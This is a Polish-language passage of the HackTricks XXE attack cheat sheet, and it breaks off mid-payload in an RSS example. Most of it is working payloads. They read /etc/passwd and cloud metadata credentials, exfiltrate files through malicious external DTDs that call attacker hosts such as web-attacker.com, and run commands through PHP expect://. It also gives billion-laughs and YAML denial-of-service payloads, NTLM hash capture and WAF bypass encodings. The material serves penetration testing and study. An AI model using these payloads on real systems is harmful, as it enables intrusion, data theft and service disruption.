XXE - XEE - XML External Entity

Wsparcie HackTricks

Podstawy XML

XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX.

  • Reprezentacja danych przez encje: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak &lt; i &gt;, które odpowiadają < i >, aby uniknąć konfliktu z systemem znaczników XML.

  • Definiowanie elementów XML: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.

  • Definicja typu dokumentu (DTD): DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.

  • Encje niestandardowe i zewnętrzne: XML wspiera tworzenie niestandardowych encji w DTD dla elastycznej reprezentacji danych. Encje zewnętrzne, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Wykrywanie XXE za pomocą encji parametru: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub HTTP do kontrolowanej domeny, aby potwierdzić podatność.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Główne ataki

Większość tych ataków była testowana przy użyciu wspaniałych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe

Test nowej encji

W tym ataku zamierzam przetestować, czy prosta deklaracja nowej ENCI działa.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Odczyt pliku

Spróbujmy odczytać /etc/passwd na różne sposoby. Dla systemu Windows możesz spróbować odczytać: C:\windows\system32\drivers\etc\hosts

W tym pierwszym przypadku zauważ, że SYSTEM "**file:///**etc/passwd" również zadziała.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer WWW używa PHP (Nie dotyczy to laboratoriów Portswigger).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

W tym trzecim przypadku zauważamy, że deklarujemy Element stockCheck jako ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Lista katalogów

W aplikacjach opartych na Javie może być możliwe wylistowanie zawartości katalogu za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE może być użyte do nadużycia SSRF w chmurze

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Używając wcześniej skomentowanej techniki, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że jednostki XML nie są dozwolone, w takim przypadku możesz spróbować użyć jednostek parametrów XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltracja danych poza pasmem

W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą _ftp://_ używając na przykład tego podstawowego serwera xxe-ftp-server.rb). To wyjaśnienie opiera się na laboratorium Portswigger tutaj.

W podanym złośliwym DTD przeprowadzane są szereg kroków w celu exfiltracji danych:

Przykład złośliwego DTD:

Struktura jest następująca:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

The steps executed by this DTD include:

  1. Definicja encji parametru:

  • Tworzona jest encja parametru XML, %file, która odczytuje zawartość pliku /etc/hostname.

  • Definiowana jest kolejna encja parametru XML, %eval. Dynamicznie deklaruje nową encję parametru XML, %exfiltrate. Encja %exfiltrate jest ustawiona tak, aby wykonać żądanie HTTP do serwera atakującego, przekazując zawartość encji %file w ciągu zapytania URL.

  1. Wykonanie encji:

  • Wykorzystywana jest encja %eval, co prowadzi do wykonania dynamicznej deklaracji encji %exfiltrate.

  • Następnie używana jest encja %exfiltrate, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.

Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak http://web-attacker.com/malicious.dtd.

XXE Payload: Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

This payload defines an XML parameter entity %xxe and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname file to the attacker's server.

Error Based(External DTD)

W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które wyświetli zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach). Przykład stąd.

Komunikat o błędzie parsowania XML, ujawniający zawartość pliku /etc/passwd, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:

  1. Definiuje się encję parametru XML o nazwie file, która zawiera zawartość pliku /etc/passwd.

  2. Definiuje się encję parametru XML o nazwie eval, która zawiera dynamiczną deklarację dla innej encji parametru XML o nazwie error. Ta encja error, po ocenie, próbuje załadować nieistniejący plik, używając zawartości encji file jako swojej nazwy.

  3. Wywoływana jest encja eval, co prowadzi do dynamicznej deklaracji encji error.

  4. Wywołanie encji error skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku /etc/passwd jako część nazwy pliku.

Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku /etc/passwd.

Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiej (eval), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).

Błąd oparty (system DTD)

A co z niewidocznymi lukami XXE, gdy interakcje poza pasmem są zablokowane (połączenia zewnętrzne nie są dostępne)?

Luka w specyfikacji języka XML może ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje.

Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w /usr/local/app/schema.dtd, definiujący encję o nazwie custom_entity. Atakujący może wywołać błąd analizy XML, ujawniając zawartość pliku /etc/passwd, przesyłając hybrydowy DTD w następujący sposób:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

The outlined steps are executed by this DTD:

  • Definicja encji parametru XML o nazwie local_dtd zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.

  • Następuje redefinicja encji parametru XML custom_entity, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć eksploit XXE oparty na błędach. Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku /etc/passwd.

  • Poprzez zastosowanie encji local_dtd, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną custom_entity. Ta sekwencja działań prowadzi do wygenerowania komunikatu o błędzie, który jest celem eksploitu.

Real world example: Systemy korzystające z środowiska graficznego GNOME często mają DTD w /usr/share/yelp/dtd/docbookx.dtd, zawierający encję o nazwie ISOamso

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ponieważ ta technika wykorzystuje wewnętrzny DTD, musisz najpierw znaleźć ważny. Możesz to zrobić, instalując ten sam system operacyjny / oprogramowanie, które używa serwer, i szukając domyślnych DTD, lub zbierając listę domyślnych DTD w systemach i sprawdzając, czy którykolwiek z nich istnieje:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

For more information check https://portswigger.net/web-security/xxe/blind

Finding DTDs inside the system

W następującym niesamowitym repozytorium github możesz znaleźć ścieżki DTD, które mogą być obecne w systemie:

Ponadto, jeśli masz obraz Dockera systemu ofiary, możesz użyć narzędzia z tego samego repozytorium, aby zeskanować obraz i znaleźć ścieżkę DTD obecnych w systemie. Przeczytaj Readme repozytorium github, aby dowiedzieć się jak.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, sprawdź drugą sekcję tego niesamowitego posta od Detectify.

Możliwość przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML.

Aby przetestować tę podatność, konieczne jest stworzenie pliku Microsoft Office zawierającego ładunek XXE. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.

Po rozpakowaniu dokumentu, plik XML znajdujący się w ./unzipped/word/document.xml powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP.

Zmodyfikowane linie XML powinny być wstawione między dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań.

Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:

Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.

Jar: protocol

Protokół jar jest dostępny wyłącznie w aplikacjach Java. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum PKZIP (np. .zip, .jar itp.), obsługując zarówno pliki lokalne, jak i zdalne.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to super przydatne do nadużywania XXE za pomocą systemowych plików DTD. Sprawdź tę sekcję, aby dowiedzieć się, jak nadużywać systemowych plików DTD.

Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:

  1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonej lokalizacji, takiej jak https://download.website.com/archive.zip.

  2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak /tmp/....

  3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.

  4. Odczytywany jest konkretny plik w archiwum, file.zip.

  5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.

Interesującą techniką przerwania tego procesu w drugim kroku jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w tej repozytorium mogą być wykorzystane do tego celu, w tym serwer Python (slow_http_server.py) i serwer Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Pisanie plików w tymczasowym katalogu może pomóc w eskalacji innej luki, która dotyczy przechodzenia ścieżki (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Atak Miliona Śmiechów

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Atak Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Atak kwadratowego wzrostu

Uzyskiwanie NTML

Na hostach Windows możliwe jest uzyskanie hasha NTML użytkownika serwera WWW, ustawiając handler responder.py:

Responder.py -I eth0 -v

i wysyłając następujące żądanie

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Ukryte XXE Powierzchnie

XInclude

Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w zapytaniach SOAP w backendzie, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu DOCTYPE. Jednak atak XInclude oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.

Aby przeprowadzić atak XInclude, należy zadeklarować przestrzeń nazw XInclude oraz określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

SVG - Przesyłanie plików

Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.

Gdy użytkownicy przesyłają obrazy, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity).

Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Inna metoda polega na próbie wykonania poleceń za pomocą wrappera PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.

PDF - Przesyłanie plików

Przeczytaj następujący post, aby dowiedzieć się, jak wykorzystać XXE do przesyłania pliku PDF:

PDF Upload - XXE and CORS bypass

Content-Type: Z x-www-urlencoded do XML

Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera następujące:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Z JSON do XEE

Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie “Content Type Converter“. Tutaj znajdziesz ten przykład:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Inny przykład można znaleźć tutaj.

Obejścia WAF i zabezpieczeń

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

To działa tylko wtedy, gdy serwer XML akceptuje protokół data://.

UTF-7

Możesz użyć ["Encode Recipe" z cyberchef tutaj ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do) do transformacji na UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Jeśli strona używa PHP, zamiast używać file:/ możesz użyć php wrappersphp://filter/convert.base64-encode/resource= aby uzyskać dostęp do plików wewnętrznych.

Jeśli strona używa Javy, możesz sprawdzić jar: protocol.

HTML Entities

Sztuczka z https://github.com/Ambrotd/XXE-Notes Możesz stworzyć encję wewnątrz encji kodując ją za pomocą html entities i następnie wywołać ją, aby załadować dtd. Zauważ, że używane HTML Entities muszą być numeryczne (jak [w tym przykładzie](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD przykład:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Wyodrębnij index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Ekstrakcja zewnętrznego zasobu

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Remote code execution

Jeśli moduł PHP "expect" jest załadowany

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Ten przykład jest inspirowany https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).

Analiza Żądania Blind

Żądanie jest wysyłane do serwera z następującą treścią:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Mimo błędu, rejestruje się trafienie w Burp Collaborator, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.

Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.

Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowywany:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ta modyfikacja prowadzi do udanej eksfiltracji zawartości pliku, co jest odzwierciedlone w komunikacie o błędzie wysłanym przez HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący zarówno techniki Out of Band, jak i Error-Based do wydobycia wrażliwych informacji.

RSS - XEE

Poprawny XML w formacie RSS do wykorzystania luki XXE.

Ping back

Prośba HTTP do serwera atakującego

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczytaj plik

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Przeczytaj kod źródłowy

Używając filtru base64 w PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
